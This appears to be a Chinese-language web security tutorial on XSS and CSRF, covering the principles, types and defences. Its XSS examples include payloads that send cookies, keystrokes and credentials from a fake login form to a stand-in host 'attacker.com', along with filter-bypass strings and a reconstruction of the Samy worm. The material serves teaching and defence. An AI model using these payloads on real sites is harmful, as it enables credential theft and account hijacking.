XSS(跨站脚本攻击)
原理
XSS攻击者通过在网页中注入恶意脚本,当其他用户访问该网页时,脚本会在用户的浏览器中执行,从而:
- 窃取用户Cookie、会话令牌
- 篡改网页内容
- 重定向到恶意网站
- 进行钓鱼攻击
分类
- 反射型XSS:恶意脚本作为请求参数,服务器未过滤直接返回
- 存储型XSS:恶意脚本存储到数据库,每次页面加载时执行
- DOM型XSS:客户端JavaScript处理用户输入时产生漏洞
防御措施
- 输入过滤:对用户输入进行严格验证和过滤
- 输出编码:根据输出位置(HTML、JS、CSS、URL)进行相应编码
- Content Security Policy(CSP) :限制外部资源加载
- HttpOnly Cookie:防止JavaScript访问敏感Cookie
- 使用框架的安全功能:如React的自动转义
CSRF(跨站请求伪造)
原理
攻击者诱导用户在已登录目标网站的情况下,访问恶意网站或点击恶意链接,利用用户的登录凭证在用户不知情时执行非授权操作。
攻击流程
- 用户登录可信网站A,浏览器保存会话Cookie
- 用户未登出情况下访问恶意网站B
- 网站B包含伪造请求(如转账、改密码)
- 浏览器自动携带Cookie向网站A发送请求
- 网站A认为这是用户合法操作
防御措施
1. 同源检测
-
验证Referer/Origin头:检查请求来源是否合法
-
SameSite Cookie属性:
Strict:完全禁止第三方CookieLax:允许GET请求的第三方CookieNone:允许所有第三方Cookie(需配合Secure)
2. Token验证
-
CSRF Token:
- 服务器生成随机Token,存储在Session中
- 在表单或请求参数中包含该Token
- 服务器验证Token是否匹配
- 通常将Token放在表单隐藏域或自定义HTTP头中
3. 双重Cookie验证
- 请求时从Cookie中取出某个值,添加到请求参数中
- 服务器验证两者是否一致
4. 其他防护
- 关键操作二次确认:如密码验证、短信验证码
- 限制敏感操作的HTTP方法:如只允许POST请求
- 缩短会话有效期
最佳实践组合
1. 重要操作使用POST请求
2. 启用SameSite Cookie(Lax或Strict)
3. 实施CSRF Token验证
4. 对敏感操作进行二次验证
现代框架防护
- Spring Security:默认启用CSRF保护
- Django:内置CSRF中间件
- Express.js:使用csurf中间件
- Laravel:自动生成和验证CSRF Token
XSS示例
示例1:反射型XSS(窃取Cookie)
攻击场景
某论坛的搜索功能存在漏洞,搜索结果页显示用户输入的搜索词。
漏洞URL:
https://example.com/search?keyword=<script>alert('XSS')</script>
真实攻击载荷
<!-- 攻击者构造的恶意链接 -->
https://example.com/search?keyword=
<script>
// 窃取用户Cookie并发送到攻击者服务器
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
攻击方式:
- 攻击者将链接伪装成正常内容发给用户
- 用户点击链接,脚本在页面中执行
- 用户Cookie被发送到攻击者服务器
- 攻击者使用Cookie登录用户账户
示例2:存储型XSS(蠕虫传播)
著名案例:Myspace的"Samy"蠕虫(2005年)
漏洞点:Myspace的个人资料页允许用户添加HTML代码,但过滤不严。
攻击载荷:
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="
// 将自身代码复制到访问者的个人资料
var B = String.fromCharCode(34);
var A = String.fromCharCode(39);
// 构造恶意代码
var code = '<div id=mycode style=BACKGROUND:url(' + A + 'java script:eval(document.all.mycode.expr)' + A + ')' + ' expr=' + B + '...恶意代码...' + B + '></div>';
// 在访问者资料中添加"Samy是我偶像"
if (location.hostname.indexOf('profile') != -1) {
document.body.innerHTML = 'Samy是我的偶像!' + code;
}
// 将攻击者加为好友
var F = String.fromCharCode(70, 114, 105, 101, 110, 100, 115, 46, 65, 100, 100);
eval(unescape(F) + unescape('(12345)'));
"</div>
攻击效果:
- 20小时内感染超过100万个账户
- 每个访问被感染页面的用户都会成为传播者
- Myspace被迫临时关闭网站清理蠕虫
示例3:DOM型XSS(绕过过滤)
攻击场景
网站通过JavaScript从URL参数获取数据并动态更新页面。
漏洞代码:
// 前端代码
var productId = location.hash.substring(1);
document.getElementById('product-name').innerHTML = decodeURIComponent(productId);
攻击载荷:
https://example.com/product#<img src=x onerror=alert('XSS')>
绕过技巧:
- 双写绕过:
<scr<script>ipt>alert(1)</script> - 大小写混合:
<sCrIpT>alert(1)</ScRiPt> - 编码绕过:
<img src=x onerror=javascript:alert(1)> - 事件处理器:
<img src=x onerror=alert(1)>
示例4:高级XSS(盗取敏感信息)
钓鱼登录表单注入
<script>
// 在页面顶部注入假的登录表单
var fakeLogin = document.createElement('div');
fakeLogin.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
<div style="background:white;width:300px;margin:100px auto;padding:20px;border-radius:5px;">
<h3>会话已过期,请重新登录</h3>
<input type="text" id="username" placeholder="用户名" style="width:100%;margin:10px 0;padding:5px;">
<input type="password" id="password" placeholder="密码" style="width:100%;margin:10px 0;padding:5px;">
<button onclick="submitCredentials()" style="width:100%;padding:10px;background:#007bff;color:white;border:none;">
登录
</button>
</div>
</div>
`;
document.body.appendChild(fakeLogin);
function submitCredentials() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
// 发送到攻击者服务器
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({u: username, p: password})
});
// 移除假表单,继续正常操作
fakeLogin.remove();
}
</script>
示例5:现代XSS攻击链
结合多种技术
<script>
// 1. 窃取Cookie
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
// 2. 劫持用户会话
fetch('/api/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@example.com'})
});
// 3. 键盘记录
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog', {
method: 'POST',
body: JSON.stringify({key: e.key, time: Date.now()})
});
});
// 4. 截屏(通过Canvas)
// 5. 访问摄像头/麦克风
// 6. 挖矿脚本
</script>
防御建议
-
内容安全策略(CSP) :
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com -
输入验证:
// 白名单过滤 function sanitize(input) { const allowed = /^[a-zA-Z0-9\s-_,.]+$/; return allowed.test(input) ? input : ''; } -
输出编码:
// HTML编码 function encodeHTML(str) { return str.replace(/[&<>"']/g, tag => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[tag])); } -
现代框架:React、Vue、Angular等已内置XSS防护
-
定期安全测试:使用OWASP ZAP、Burp Suite等工具扫描漏洞
⚠️ 免责声明:以上示例仅供学习防护知识,严禁用于非法攻击。所有安全测试应在授权环境下进行。